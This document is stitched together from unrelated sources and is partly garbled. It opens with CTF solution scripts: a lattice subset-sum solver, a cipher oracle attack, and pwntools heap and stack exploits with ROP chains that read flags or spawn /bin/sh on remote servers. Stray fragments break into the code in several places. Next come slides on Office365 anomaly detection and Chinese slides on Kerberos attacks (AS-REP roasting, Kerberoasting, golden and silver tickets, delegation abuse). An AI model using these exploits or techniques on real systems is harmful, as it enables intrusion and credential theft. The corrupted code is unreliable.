a * inverse_mod(f, g) % g print(m) import re import random import multiprocessing as mp from functools import partial def check(sol, A, s): """Check whether *sol* is a solution to the subset-sum problem. """ return sum(x*a for x, a in zip(sol, A)) == s def solve(A, n, k, s, ID=None, BS=22): N = ceil(sqrt(n)) # parameter used in the construction of lattice rand = random.Random(x=ID) # seed # 1. Construct the lattice # (n+1) * (n+2) # 1 0 ... 0 a_0*N N # 0 1 ... 0 a_1*N N # . . ... . ... . # 0 0 ... 1 a_n*N N # 0 0 ... 0 s*N k*N lat = [] for i, a in enumerate(A): lat.append([1*(j == i) for j in range(n)] + [N*a] + [N]) lat.append([0]*n + [N*s] + [k*N]) # main loop itr = 0 start_time = cputime() while True: itr += 1 # 2. Randomly shuffle l = lat[::] shuffle(l, random=rand.random) # 3. BKZ!!! m = matrix(ZZ, l) t_BKZ = cputime() m_BKZ = m.BKZ(block_size=BS) print(f"n={n} {itr} runs. BKZ running time: {cputime(t_BKZ):.3f}s") # 4. Check the result for i, row in enumerate(m_BKZ): if check(row, A, s): if row.norm()^2 == k: print(f"n={n} After {itr} runs. FIND SVP!!! {row}\n" f"Single core time used: {cputime(start_time):.3f}s") return True s = 11204158321431815830823699004382994461036257963 A = [1340215702628887411219893814871952196027482940, 805858400634252066486457597358278644760187448, 121754072205390405751521851103032719538866107, 610840127054948593254098360342339926199311483, 567584462756250755254616807808676796789978676, 958551286247997676437206358962952059138388808, 417903756279989399171444423180314081431548929, 1352035242495312618231103175648738484848345578, 461315275382718884047439562319771093075961481, 847477188893915513747318746115061770142692302, 874155720879083245526025147590736807815650777, 305905426847000872712318388187597275946840422, 514944350802860544274467194605925082388688876, 302275672468301609153226548958138842480771140, 856146043963869280124298289191175750156113613, 267348559799234229950944630415446948975667365, 531341526031225719174558721961815644532861877, 943484124398910041205444173415806652023326775, 209137948164871424051296067183665820093530969, 1349084336130022013883489445684332218727809155, 700304262523833518923048228427240113170629282, 1197301638349030506462011351460280239921873887, 427140782512010716482799205144663328443470047, 155165888433505753371219156174366047639415701, 1236869140273378720284004180754906327122684022, 10226403938513726394530270768695318223965120, 1285010356957124366824585571801620972804961544, 849820724574727238219982114273757400245642410, 50576243188344318702199879685419529785316270, 822504518937909063207531702488715158388086666, 884153037129700163261819924140344984158105101, 791445561496903279043621840517913231343945543, 841881091148319743134645045534389085573854342, 43015337255807401775322825510079311157109902, 1101876923907160882659438931213377618564559079, 575388244876212416252357524573458188801041731, 665616950568766144475224793249210062277739478, 1223332522561222571510018432411575750880151281, 642606837081540453099958525448554983170165351, 823344697730968114274963809734297001333211563, 1000964432474912895464977860626142729740394627, 875634620891341389998555654426637860021580700, 1088561553126448500117277382876207115489853201, 1400059025881336108546582210751357461497085272, 48008335424864361972351038788672538864650042, 219992530827511634882322161954536690777039441, 549630873757445872883113740404824614076635167, 1264138065305940909746380320290804294330499173, 947955004263832945684870481809688770230034597, 1072354902146027055723042642471392749924603987, 91904592640874102871590247778309701251077429, 175933376129925690470132583028283036810685613, 1255935889689336154704241673978355137565602518, 802951693733455786217708599613708479595345508, 150551514955943267998837797548511390934056337, 871212462823768366866463148948361926146759308, 2440034174390484562080929094609545620651486, 130897947070792691116458371713856028756164120, 734739877495371221679670305928316818833946740, 515546568745873733638493726852017924846253431, 897960303321794375914134378150327680953240501, 842224929297838031695484228573049312350252556, 1225315186151537418934235361259120474364531182, 128106093354754023695790533047276875151144241, 462611395922277905077613241085175378312475285, 69445639201818901381531075684343158342796372, 335780621308051587622713859666803241357971353, 1308920072762254798038455291047844325828749100, 1348833039107837479175603530943741166770667613, 183452975714327916324922736116997401007005747, 949054326347556900269630934561025842931981081, 1359905115736513147075796946220804899514849629, 1274255449870646720587506203447516381573675310, 582628946764327875634337763156188560732028123, 1023871723250756467952570370028211822623307363, 571287179857349087405829008232322335965426102, 1019834988436992774119886347730884348972675039, 1022571960862639012413656046194887672052253958, 609723861588808745043013432780916260005309387, 1390264222373563190028061239561747769393044432, 1072774199861913452424431008897789849895219526, 85682786614260841396194616046720694118102221, 56657983335326702157268238149957980044665934, 654088775500666454666290389053586301366581400, 1220811823886160570686645162797939672912641581, 752488360885524111254212011696679856089848316, 395003703664709057008215344364103632801084690, 1013763057386849457015694345147722802633641282, 44963541977765603438650162475382137726561457, 1077958607717902254486280142663165153050013238, 1087041124653501892900000311998411542764798950, 1312907908182780301160053631745330513254683179, 56191117773683164297502879274501094704502459, 1202615965804292328494221363781981314000446654, 252354865602957036178368002464251556153895218, 421538300359148088624373108646794989375120236, 728721086262998323314983191800606622848165558, 976531949158023615255292339594944414890158119, 512758925640571556478372986621122330624131871, 1203804055334990427981174905625916475431137967, 1079987367610190741653290760486640539505674271, 715425317493887461493223299403293270972673385, 139406798087177350042077615535630186091689268, 519548579918308345019971895081177031939854754, 813944567522039003089525631692064401007018103, 949304565657348461654159218048076682542638979, 8flag Game 231557490402051988003053704838481540015993765, 304318441629479536977398892518701426332350775, 48178589845369222782790160031079670080270473, 603257489558135781809870364521823839892942873, 493259005893182681304742454048620467807351988, 195200378342210222552837786766617634877930733, 473534752513652058500694768248203951252418569, 361648097211618414097488611021432540785160701, 391032280023502286229779903161339516441752739, 589648713558203727958659771960943165661441617, 201576873033734454447025600072433354803078452, 660036513111162230073615629627354876866437568, 1366855633135475072713284666639900459877049296, 1132544579343577751696122309899435552009217117] k = 20 n = 120 solve_n = partial(solve, A, n, k, s) CPU_CORE_NUM = 8 with mp.Pool(CPU_CORE_NUM) as pool: reslist = pool.imap_unordered(solve_n, range(CPU_CORE_NUM)) # terminate all processes once one process returns for res in reslist: if res: pool.terminate() break # python3 import re from hashlib import sha256 from itertools import product import fuckpy3 from pwn import * from copy import deepcopy s = string.ascii_letters + string.digits def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def hex_xor(h1,h2): # print('xor', h1,h2) return byte_xor(h1.unhex(),h2.unhex()).hex() r = remote("81.68.174.63", 16442) # r = remote("127.1", 10000) # context.log_level = 'debug' # PoW r.recvuntil('sha256') rec = r.recvline().decode() suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0] digest = re.findall(r'== (.*?)\n', rec)[0] print(f"suffix: {suffix} \ndigest: {digest}") print('Calculating hash...') for i in product(s, repeat=4): prefix = ''.join(i) guess = prefix + suffix if sha256(guess.encode()).hexdigest() == digest: print(guess) break r.sendlineafter(b'Give me XXXX: ', prefix.encode()) r.recvuntil(b'IV is: ') iv = r.recvline().strip() def enc(data): try: global iv print('data', data) data = hex_xor(data[:32], iv) + data[32:] r.sendlineafter(b'exit', b'1') r.sendlineafter(b'(in hex): ', data) res = r.recvline() iv = res.strip()[-32:] print('c',res) return res except: print('error',data) exit(1) guessed = '' for idx in range(16): padding = '00'*(31-idx) std_iv = deepcopy(iv) std = enc(padding)[32:64] # print(std) for i in range(256): res = enc(padding + guessed + hex(i)[2:].zfill(2))[32:64] if res == std: print(i) guessed += hex(i)[2:].zfill(2) break print('guessed',guessed) Pwn roshambo for idx in range(16): padding = '00'*(31-idx) std_iv = deepcopy(iv) std = enc(padding)[64:96] # print(std) for i in range(256): res = enc(padding + guessed + hex(i)[2:].zfill(2))[64:96] if res == std: print(i) guessed += hex(i)[2:].zfill(2) break print('guessed',guessed) for idx in range(16): padding = '00'*(31-idx) std_iv = deepcopy(iv) std = enc(padding)[96:128] # print(std) for i in range(256): res = enc(padding + guessed + hex(i)[2:].zfill(2))[96:128] if res == std: print(i) guessed += hex(i)[2:].zfill(2) break print('guessed',guessed) r.sendlineafter(b'exit', b'2') r.sendlineafter(b'(in hex): ', guessed) r.interactive() from pwn import * import time context.log_level="debug" def msg(code1,code2,l,data): return code1+p64(code2)+p64(l)+data p=remote("81.68.174.63",64681) #p=process("./roshambo",env = {'LD_PRELOAD' : './libc.so.6'}) mode="C" room="kirin" name="kirin" p.sendlineafter(": ",mode) p.sendlineafter(": ",room) p.recvuntil("Your room: ") room=p.recvuntil("\n")[:-1] p.sendlineafter(": ",name) p2=remote("81.68.174.63",64681) name="kirin" p2.sendlineafter(": ","L") p2.sendlineafter(": ",room) p2.sendlineafter(": ",name) msg2=msg("\x00"*8,8,0x68,"a"*0x68) msg3=msg("\x00"*8,4,0,"") p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0x18)) p.sendafter("say? ","aaaaa") p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0x28)) p.sendafter("say? ","b"*0x27) #gdb.attach(p) for i in range(6): p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0xf8-i*0x10)) p.sendafter("say? ",chr(0x61+i)*(0xf8-i*0x10-1)) p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0x48)) p.sendafter("say? ","b"*0x47) p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0)) p.sendafter("say? ","b"*0x18+p64(0x541)) p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0x28)) p.sendafter("say? ","b"*0x18) p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0x28)) p.sendafter("say? ","b") p.recvuntil("leave: b") s="\x00"+p.recv(5) libc=u64(s.ljust(8,"\x00"))+0x7ffff77c5000-0x7ffff7bb1000 print hex(libc) p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0x28)) p.sendafter("say? ","b"*0x10) p.recvuntil("b"*0x10) s=p.recv(6) heap=u64(s.ljust(8,"\x00")) print hex(heap) rop="./flag\x00\x00"+"a"*8+p64(heap- 0x55aee017a390+0x55aee017a400)+p64(libc+0x23e6a)+p64(0)+p64(libc+0x1b96)+p64(0 )+p64(libc+0x439c8)+p64(2)+p64(libc+0x11007F) rop+=p64(libc+0x2155f)+p64(6)+p64(libc+0x23e6a)+p64(heap)+p64(libc+0x1b96)+p64 (0x40)+p64(libc+0x439c8)+p64(0)+p64(libc+0x11007F) rop+=p64(libc+0x2155f)+p64(1)+p64(libc+0x23e6a)+p64(heap)+p64(libc+0x1b96)+p64 (0x40)+p64(libc+0x439c8)+p64(1)+p64(libc+0x11007F) rop+=p64(libc+0x2155f)+p64(0)+p64(libc+0x23e6a)+p64(heap)+p64(libc+0x1b96)+p64 (0x40)+p64(libc+0x439c8)+p64(0)+p64(libc+0x11007F) p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0)) p.sendafter("say? ","b"*0x18+p64(0x41)+p64(libc+0x3ed8e8)+p64(0)*6+p64(0x21)+p64(0)*3+p64(0x21)+ rop) p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0x28)) p.sendafter("say? ","b") p.sendafter("kirin >> ",msg3) p.sendafter("kirin >> ",msg2) p.sendlineafter("size: ",str(0x28)) p2.close() cfgo-CheckIn upx dfs p2=remote("81.68.174.63",64681) name="kirin" p2.sendlineafter(": ","L") p2.sendlineafter(": ",room) p2.sendlineafter(": ",name) data="a"*0xc0+p64(heap-0x55aee017a390+0x55aee017a410)+p64(libc+0x2155f) msg2=msg("[RPC]\x00\x00\x00",3,0xd0,data) p2.sendafter("kirin >> ",msg2) p.recvuntil("say? ") p.recvuntil("aaaa") p.send(p64(libc+0x520A5)) p.interactive() #include<stdio.h> #include<string.h> #include <math.h> #include<stdlib.h> #include<string> using namespace std; // char map[] = "00000000111000100000+1*0000000000000"; char map[100000] = {0}; bool visit[100000]; int len; int s_len; void walk(int x, int y, string ans){ if (visit[x + y * s_len]) return; visit[x + y * s_len] = true; if(map[x + y * s_len] == '0'){ return; } else if (map[x + y * s_len] == '*'){ printf("%s\n", ans.c_str()); printf("success!\n"); exit(0); } if (x > 0) ..... exp walk(x-1, y, ans+"a"); if (x < s_len) walk(x+1, y, ans+"d"); if (y > 0) walk(x, y-1, ans+"w"); if (y < s_len) walk(x, y+1, ans+"s"); } int main(){ /* char map[12000] = {0}; */ scanf("%s", map); len = strlen(map); s_len = sqrt(len); int start_x, start_y, end_x, end_y; for (int i = 0; i < len; i++){ if (map[i] == '+'){ start_y = i / s_len; start_x = i % s_len; } else if (map[i] == '*') { end_y = i / s_len; end_x = i % s_len; } } //printf("start:%d %d\n", start_x, start_y); walk(start_x, start_y, ""); } from pwn import * import math # r = remote("81.68.174.63", 62176) while True: try: r = remote("81.68.174.63", 62176) # r = process("./pwn",aslr=True) # gdb.attach(r,"b *$rebase(0x119389)\nc") #context.log_level = 'debug' no = '\xe2\xac\x9b' yes = '\xe2\xac\x9c' end = '\xf0\x9f\x9a\xa9' for i in range(100): r.recvline() t_map = '' for j in range(i+6): t_map += r.recvline() print t_map l = len(t_map) #print "len:", l res = '' i = 0 while i < l: if t_map[i] == '\xe2': if t_map[i+2] == '\x9b': res += '0' else: res += '1' i += 3 elif t_map[i] == '\xf0': if t_map[i+3] == '\xa9' and t_map[i+2] == '\x9a' and t_map[i+1] == '\x9f': res += '*' else: res += '+' i += 4 elif t_map[i] == '\x0a': #res += '\n' i += 1 #print len(res), math.sqrt(len(res)) s_len = int(math.sqrt(len(res))) t_start = res.find('+') t_end = res.find('*') ''' print t_start, t_end print res result = [] for y in range(s_len): for x in range(s_len): if x == 0: result.append([]) result[y].append(res[x + y * s_len])#print(result) ''' solve = process("./dfs") solve.sendline(res) ans = solve.recvline() #print ans solve.close() r.send(ans) mengyedekending cwarpper.NETbaby_Cat.dll payload = 'A'*0x70+p64(0xc000044fd8) payload += p64(0x20)*((272-len(payload))/8)+'\xf0\xd0' r.sendlineafter("Leave your name:",payload) r.recvuntil("Your name is : ") pie = u64(r.recv(6).ljust(8,'\x00'))-0xce431 success(hex(pie)) if pie == -0xce431: r.close() continue pop_rdi = 0x0000000000109d3d+pie pop_rsi_r15 = 0x0000000000119c45+pie pop_rax = 0x0000000000074e29+pie syscall = 0x00000000000743c9+pie payload = 'A'*0x70+p64(0xc000044fd8) payload += p64(0x20)*((272-len(payload))/8) payload += p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(0xc000044eb8)+p64(syscall)+"/bin/sh\x00" r.sendlineafter("Leave your name:",payload) r.interactive() except: r.close() raw_input(">") #coding=utf8 from pwn import * import sys context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] local = 1 docker = 0 if len(sys.argv)>1: local = 0 # pass if local: if docker: # process_name = '' # cn = remote('',) # libc = ELF('',checksec=False) # bin = ELF('',checksec=False) pass else: cn = remote('0',9999) # libc = ELF('',checksec=False) # bin = ELF('',checksec=False) pass pass else: cn = remote('111.73.46.229',51000) # libc = ELF('',checksec=False) # bin = ELF('',checksec=False) pass def z(script =''): if not local: return if not docker: gdb.attach(cn,gdbscript=script) else: gdb.attach(target=process_name,gdbscript=script,exe=process_name) if script == '': input() rv = lambda x=0x1000 : cn.recv(x) rl = lambda : cn.recvline() ru = lambda x : cn.recvuntil(x) raddr = lambda : u64(cn.recvuntil('\n')[:-1].ljust(8,b'\x00')) raddrn = lambda x : u64(rv(x).ljust(8,b'\x00')) sd = lambda x : cn.send(x) sl = lambda x : cn.sendline(x) sa = lambda a,b : cn.sendafter(a,b) sla = lambda a,b : cn.sendlineafter(a,b) interact= lambda : cn.interactive() ss = lambda s : success(s) import inspect,re def logsym(val): for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]: m = re.search(r'\blogsym\s*\(\s*([A-Za-z_][A-Za-z0-9_]*)\s*\)', line) if m: varname = m.group(1) ss(f"{varname} => {hex(val)}") else: ss(hex(val)) ############################################ ru(" : ") leak = int(rl()[:-2],16) logsym(leak) pay = flat('B'*50,p8(107),p8(leak&0xff)) sla('?',pay) sla('?','y\r') sa('!',flat(p8(1))) rl() rl() interact()
pdf
User Profile Based Anomaly Detection Fighting Malicious Insider Threat at Office365 Lei He Principal Engineering Manager, Microsoft Corporation 2019-05-30 The Context - Office365 Security Requirements *Customer lockbox onboarding is must only for enterprise service accessing customer data. • Cannot use Corp identity to depoly or access, 2FA must for access • OCEs need to meet clearance expecation • Isolation between capacity and control plane • Zero standing access and least privelege access • Customer lockbox & BYOK • ETW-based detailed raw telemetry, with ability to instrument new telemetry in < 1 day • Centralized processing raises alerts in < 15 minutes for security issues • At least 1 attack/day simulated against service to validate monitoring/response • Ability to trigger security response workflows in < 15 minutes, and instrument new workflow in < 1 day • All secrets must be stored in secure container • Secrets should never leave boundary • Secrets should be rolled immediately on exposure • Data Trustee should have full control of secrets in soverign environment • All prod end point scanned every day • All medium and higher rated vulnerabilitis should be patched or exempted • All web apps should be scanned once a month • Central reporting and tracking Access Control Security Monitoring Secrets Management Anti Virus Patching Overview Problem • Compromised/Disgruntled Malicious Insiders Remain a Top Threat • Supervised ML Detections Trained to Detect “Known” Patterns; Need Coverage for Unknown Patterns Solution • User Profile Based Detection to Flag Abnormal Activities • For O365 Data Center Security, User == DevOps • Can be Generalized to Other Entity Profiles O365 Data Center Monitoring Automated Near Real Time Multi Tier Detection and Response Vanquish Monitoring Pipeline O(100K) machines evaluated O(1k) users evaluated Near real time (NRT) multi tier processing on Spark: paging alerts in < 15 minutes (including ML-based alerts) Analyst Tools and Dashboards Interactively view results in near real time when alerted Alerting and Automation 24 x 7, paging alerting and automated response. Model Feature Selection Observation: DevOps Activities Exhibit Patterns Logon Activities: • Where did the user login from? • When did the user login? • What did the user login to? Just In Time Elevations: • What Elevation Role did the user request? • Who approved the elevation request? Actions: • Which workflow did the user perform? • Which processes did the user start? • Which detections did the user trigger? Features: • Machines logged on to • Machine Role • Capacity Unit Scope • IPs logged on from • IPs connected to • Other Atomic Detections Triggered • Roles Elevated to • Elevation Purpose • Approver • Time of Day • Process and Workflow Ran The Model 1. Compute a complete Historical Profile for Every User a) Each Feature Is a List of { Value: Occurrence } 2. Every 2 minutes, activities of the past 6-hour long user sessions are evaluated 3. Each Current Session is compared with the user’s Historical Profile a) A feature similarity score is calculated for the value(s) in the session. The higher the historical occurrence, the more similar/normal. b) A session Anomaly Score is generated from the similarity score of the n features. 4. A Test Dataset is curated from historical positive events to evaluate performance 5. A Session Score threshold is set for alerting by Alert Tolerance (5 per week) Model Tuning Workflow Malicious != Anomalous Model Tuning Was this corroborated? Email User in Alert Start Label False Positive Improve Model Was the activities abnormal? Label True Positive End No Yes No Yes Model Tuning Patterns The New Team Member: Set minimum threshold for volume of activities Sparse Features: Set minimum threshold of valid features Double Counting: Remove auto generated activities Changing Teams: Use team profile Renamed Commands: Case insensitive comparison High Entropy Features: Replace target machine name or IP by {Capacity Unit, Capacity Type} Downgrade the weight of user source IP Downgrade free text features (elevation reason) Model Performance Success Metric: Paging Volume • Paging alerts average ~5 per week since shipped late 2018 Success Metric: Precision • ~90% true positives (Last Month 16/18) Types of True Positives • Penetration Testing • One Off Incident (“Break Glass”) or Audit • Operation Process Violation • DevOps Poor Practice • DevOps One off Testing or Experimenting Call To Action Apply Profile Based Anomaly Detection for Defense in Depth! • Start with Quality Data • Identify True Positives • Offline Analysis before Online Implementation • Continuous Tuning through Feedback Loop • Explainable Model • Actional Alerts Q & A User Profile Based Anomaly Detection www.linkedin.com/in/lei-he-security Lei He [email protected]
pdf
360 企业安全集团 Attacking Kerberos 演讲人:吴方东,n1nty @ 360 A-TEAM 2 0 1 8 吴方东,n1nty @ 360 A-TEAM 安全研究员 • 360 企业安全集团旗下的纯技术研究团队。 • 致力于 Web 渗透,APT 攻防对抗,前瞻性攻防工具预研。 • 进行严肃、有深度的技术研究,深入还原攻与防的技术本质。 360 A-TEAM 资深失眠患者 服务端验证“你是否真的是你所声称的那个人”的过程 非加密通道会导致明文密码泄露 USERNAME/PASSWORD 我要登陆,这是我的账号密码 对比账号密码 成功 失败 • 不需要传输密码本身 • 可在非加密通道使用 USER01 我要登陆 告诉我你是谁,用你的密码加密这段随机数据: kjdfADSF435@#$ASDfd)( 我是 USER01,这是我加密后的结果:....... 结果一样,成功 结果不一样,失败 基于票据的 身份认证协议 MIT 发明 微软进行了扩展 域环境下的 首选认证协议 • 账号密码认证 • 通过向服务端发送“账号密码”来证明自己的身份 • 挑战认证 • 通过向服务端发送“一段计算结果”来证明自己的身份 • Kerberos 认证 • 通过向服务端发送一张“票”,来证明自己的身份 KDC • 域内最重要的服务器 • 统一保存着所有账号的密码 使用人:USER01,权限:xxx 允许访问的服务:SMB/SERVER1 到期时间:2018-08-24 23:00:00 Session key Kerberos Ticket 其他信息 KDC 印章 加密的 Kerberos 票据 KDC • 域内最重要的服务器 • 统一保存着所有账号的密码 TGT – 访问 TGS 服务的票 普通票据 – 访问其他服务的票 TGT 普通票据 KDC 客户端访问任何 使用 Kerberos 认证的服务之前 利用 TGT 去向 KDC 换取访问目标服务 的 KDC user01 server1 我是 user01 给我一张访问 smb\server1 的票 我是 user01,我要访问你的 smb 服务 这是证明我身份的票 KDC 1, AS-REQ 3, TGS-REQ user01 server1 2, AS-REP 4, TGS-REP 5, AP-REQ 6, AP-REP • AS-REQ • “我是 user01,这是一段加密数据,来 证明我的身份” • AS-REP • “身份验证成功,给你一张能证明你是 user01 的票(TGT),以及对应的 Session Key” AS-REQ AS-REP user01 KDC AS-REQ authenticator 验证因子 • AS-REQ • “我是 user01,这是一段加密数据,来 证明我的身份” • AS-REP • “身份验证成功,给你一张能证明你是 user01 的票(TGT),以及对应的 Session Key” AS-REQ AS-REP user01 KDC AS-REP 加密的 TGT 加密的 Session Key • AS-REQ 不进行预身份认证时 • “我是 user01,但是我不想提交 authenticator 来证明我的身份,请给我一张 TGT” • 成功时,AS-REP • “ user01 账号存在,并且配置了不要求进行预身份验证” • 失败时,KRB-ERROR • PREAUTH-REQUIRED • UNKNOWN-PRINCIPLE AS-REQ AS-REP user01 KDC AS-REQ 去掉这段数据 发送 AS-REQ 请求时不进行预身份验证 根据返回的错误码可判断用户是否存在 响应类型 结果 AS-REP 响应 账号存在 且开启了 “不要求 Kerberos 预身份验证”选项 KRB-ERROR:PREAUTH-REQUIRED 账号存在 未开启 “不要求 Kerberos 预身份验证”选项 KRB-ERROR:CLIENT-REVOKED 账号存在 但是处于锁定状态 KRB-ERROR:UNKNOWN-PRINCIPLE 账号不存在 • AS-REQ,由客户端发送至 KDC • “我是 user01,我不进行预身份验证, 请给我一张 TGT” • AS-REP,由 KDC 返回 • “经过检查发现 user01 被配置为不需 要进行预身份验证,这里给你返回一个 AS-REP,里面包含了你想要的 TGT, 以及与 TGT 配合使用的 session key” enc-part(session key) 部分被 RC4 算法加密,且密钥为 user01 账号的 NT HASH 离线暴力破解 enc-part 可还原 user01 的明文密码 AS-REQ 用户枚 举 LDAP 查询 USER01 USER02 USER03 不需要预身份认证 USER01 Session Key USER02 Session Key USER03 Session Key 被目标账号 NT HASH 加密的Session Key AS-REQ USER01 Session Key USER02 Session Key USER03 Session Key 被目标账号 NT HASH 加密的Session Key 离线暴破 Session Key P@ssword 1qazXSW@ 111222 明文密码 • 离线暴破,不在域控留下日志 • 绕开密码锁定策略 Pass the Hash NTLM Pass the Key KERBEROS Overpass the Hash 在没有明文密码的情况下进行 NTLM/Kerberos 身份认证 • AS-REQ • “我是 user01,这是一段加密数据,来证明我的身份” • AS-REP • “身份验证成功,给你一张能证明你是 user01 的票(TGT),以及对应的 Session Key” AS-REQ AS-REP user01 KDC 加密算法 被加密数据 加密 Key • AS-REQ • “我是 user01,这是一段加密数据,来证明我的身份” • AS-REP • “身份验证成功,给你一张能证明你是 user01 的票(TGT),以及对应的 Session Key” AS-REQ AS-REP user01 KDC 加密算法 KEY AES 256 密码的 AES 256 KEY AES 128 密码的 AES 128 KEY RC4 密码的 NT HASH 格式 其他很多 被加密数据为当前时间戳 • AS-REQ • “我是 user01,我利用 RC4 算法并以我密码的 NT HASH 做为 KEY,加密了当前时间戳(authenticator),来证明我的身份” • AS-REP • “ 因为你利用的是 RC4 算法对 authenticator 进行加密,所以我 将同样利用 RC4 算法对 authenticator 进行解密, 并使用 user01 账号的 NT HASH 做为 解密 Key。” • “解密成功,发现你传送过来的时间戳与服务器的当前时间戳误差在 5 分钟以内,所以你确实是 user01,给你一张 TGT,以及对应的 Session Key” • AS-REQ • “我是 user01,这是一段加密数据,来证明我的身份” • AS-REP • “身份验证成功,给你一张能证明你是 user01 的票(TGT) ,以及对应的 Session Key” AS-REQ AS-REP user01 KDC 进行 Kerberos 验证的过程中,并没有涉及到账号的明文密码 TGS-REQ TGS-REP user01 KDC • 。。。前面已经通过 AS-REQ 与 AS-REP 获取了 TGT • TGS-REQ • 客户端:“我是 user01,我想申请一张访问 server1 的 smb 服务的票。这是我 的 TGT,以及一段加密数据来证明我知道 与 TGT 对应的 Session key” • TGS-REP • KDC:“您的 TGT 是合法的, 并且加密数据校验成功,这是一张能够访问 server1 的 smb 服务的票(service ticket)以及 Session Key” TGS-REQ 通过 AS-REQ 申请到的 TGT authenticator TGS-REQ TGS-REP user01 KDC • 。。。前面已经通过 AS-REQ 与 AS-REP 获取了 TGT • TGS-REQ • 客户端:“我是 user01,我想申请一张访问 server1 的 smb 服务的票。这是我 的 TGT,以及一段加密数据来证明我知道 与 TGT 对应的 Session key” • TGS-REP • KDC:“您的 TGT 是合法的, 并且加密数据校验成功,这是一张能够访问 server1 的 smb 服务的票(service ticket)以及 Session Key” TGS-REP SPN 后门, https://adsecurity.org/?p=3466 伪造 TGT,冒充任意用户 TGS-REQ TGS-REP user01 KDC • 。。。前面已经通过 AS-REQ 与 AS-REP 获取了 TGT • TGS-REQ • 客户端:“我是 user01,我想申请一张访问 server1 的 smb 服务的票。这是我 的 TGT,以及一段加密数据来证明我知道 与 TGT 对应的 Session key” • TGS-REP • KDC:“您的 TGT 是合法的, 并且加密数据校验成功,这是一张能够访问 server1 的 smb 服务的票(service ticket)以及 Session Key” KDC 是如何判断客户端提交上来的 TGT 是合法的? 使用人:USER01 允许访问的服务: KRBTGT/EAST 到期时间:2018-08- 24 23:00:00 Session key TGT 其他信息 KDC 印章 authenticator 加密的 Authenticator 利用 TGS-REQ 向 KDC 申请服务 Server1 SMB 服务的票 加密的 TGT KDC 使用人:USER01 允许访问的服务: KRBTGT/EAST 到期时间:2018-08- 24 23:00:00 Session key TGT 其他信息 KDC 印章 authenticator 加密的 Authenticator 加密的 TGT KDC 用 KRBTGT Key 解密 TGT 返回访问 SMB/Server1 的票与 Session key • 只要 TGT 能被 KDC 利用相关算法解密 (以 KRBTGT 相关 Key 做为密钥), 则 TGT 合法 • 盗取 KRBTGT 相关 Key 即可伪造 TGT 使用人:USER01 允许访问的服务: SMB/SERVER1 到期时间:2018-08- 24 23:00:00 Session key Service Ticket 其他信息 KDC 印章 Session Key KDC 返回访问 SMB/Server1 的票与 Session key 被 SMB/Server1 服务启动账号的 NT HASH 加密 KERBEROAST - Kerberos 服务启动账号密码的离线暴破 USER01 TGT MSSQL/SERVER 1 TICKET HTTP/SERVER2 TICKET KMC/SERVER3 TICKET MSSQL/SERVER1 HTTP/SERVER2 KMC/SERVER3 SPN 查询 域内 Kerberos 服务 USER01 TGT MSSQL/SERVER 1 TICKET HTTP/SERVER2 TICKET KMC/SERVER3 TICKET 离线暴破 访问域内 资源 制作白银 票据 后面再讲 • 已通过 AS-REQ & AS-REP 获得 TGT • 已通过 TGS-REQ & TGS-REP 获得 Service ticket 1. AP-REQ • 客户端:“我是 user01,我要访问你的 smb 服务,这是一张能够证明我身份的票 (service ticket)以及一段加密数据来证明我知道这张票所对应的 Session Key” 2. AP-REP • SMB 服务:“您的票是合法的, 并且加密数据校验成功。已经确定您是 user01, 可以访问” AP-REQ user01 CIFS/SERVER1 SMB 服务是如何验证票是否合法的? 使用人:USER01 允许访问的服务: CIFS/SERVER1 到期时间:2018-08- 24 23:00:00 Session key SERVICE TICKET 其他信息 KDC 印章 authenticator 加密的 Authenticator 利用 AP-REQ 访问 Server1 SMB 服务 加密的 SERVICE TICKET Server1 使用人:USER01 允许访问的服务: CIFS/SERVER1 到期时间:2018-08- 24 23:00:00 Session key SERVICE TICKET 其他信息 KDC 印章 authenticator 加密的 Authenticator 加密的 SERVICE TICKET 用服务启动账号 Key 解密 Service Ticket 认证成功 Server1 • 只要 Service ticket 能被目标服务利用相关算法解密(以服务 启动账号的相关 Key 做为密钥),则 Service ticket 合法 • 盗取 “服务启动账号的相关 Key” 即可伪造 Service ticket GOLDEN TICKET 依赖 KRBTGT KEY 欺骗域内任何 使用 Kerberos 认证的服务 冒充域内任何用户 SILVER TICKET 依赖 服务启动账号 KEY 欺骗“共享同一个启动账号”的服务 冒充域内任何用户 USER01 IIS DATABASE GET /A.TXT 切换身份 Delegation/委派 客户端(USER01)访问服务端(IIS)时,服务端利用客户端的身份访问了其他资源 USER01 IIS DATABASE GET /A.TXT 切换身份 Delegation/委派 SERVER02 SERVER03 无限制委派 USER01 IIS GET /A.TXT 切换身份 HTTP GET /A.TXT AP-REQ IIS Service Ticket USER01 TGT. USER01 TGT USER02 TGT USER03 TGT Administrator TGT 拥有无限制委派的服务内将缓存有所有访客的 TGT USER01 IIS DATABASE GET /A.TXT 切换身份 Delegation/委派 SERVER02 SERVER03 受限制委派 变种 GOLDEN TICKET 依赖于 KRBTGT KEY 欺骗域内任何 使用 Kerberos 认证的服务 冒充域内任何用户 在域控留下更多日志 受限委派 S4U2Self S4U2Proxy USER01 ATEAM/TESTSERVICE KDC S4U2Proxy 允许委派到 TGS 服务 S4U2Self 可以以任何用户的名义 申请一张访问自身的票 以 USER01 的身份 申请 TGT(ticket 0) 使用 USER01 的 TGT,通过 TGS-REQ 配合S4U2Self 协议, 以 Administrator 的名义申请一张 访问 